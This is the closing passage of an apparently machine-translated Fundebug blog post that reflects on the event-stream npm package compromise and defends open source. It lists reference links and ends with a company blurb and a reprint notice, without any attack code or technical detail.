In this case, you might think open source is unsafe, but I don’t think so. The reason why the hacker has devised so many crooked tricks to steal user data is because the code is open source and he is afraid to do anything wrong. In addition, although this matter had been hidden for several months, once it was discovered, we analyzed the code and worked together to find out what the hacker had done. We searched the whole story from top to bottom. I also sorted out the matter based on our work. What we should be thinking about is how to make our code more secure, and that gives us a lot of insight, which I’ll talk about next time.

Actually, it’s kind of interesting, and there are a lot of questions, like what are the techniques used by the hackers? How was the hacker discovered? Who are the hackers? How to ensure the security of JavaScript and blockchain? Maybe later…

reference

  • Details about the event-stream incident
  • event-stream vulnerability explained
  • I don’t know what to say.
  • event-stream dependency attack steals wallets from users of copay
  • With tens of millions of monthly NPM packages being tampered with by hackers, Vue developers may be under attack

About Fundebug

Fundebug focuses on JavaScript, wechat applets, wechat mini games, Alipay applets, React Native, Node.js and Java real-time BUG monitoring. Since its official launch on November 11, 2016, Fundebug has handled more than 900 million error events in total, which has been recognized by many well-known users such as Google, 360, Kingsoft, and People’s Net. Welcome free trial!

Copyright statement

Reprint please indicate the author Fundebug and this article addresses: blog.fundebug.com/2018/12/03/…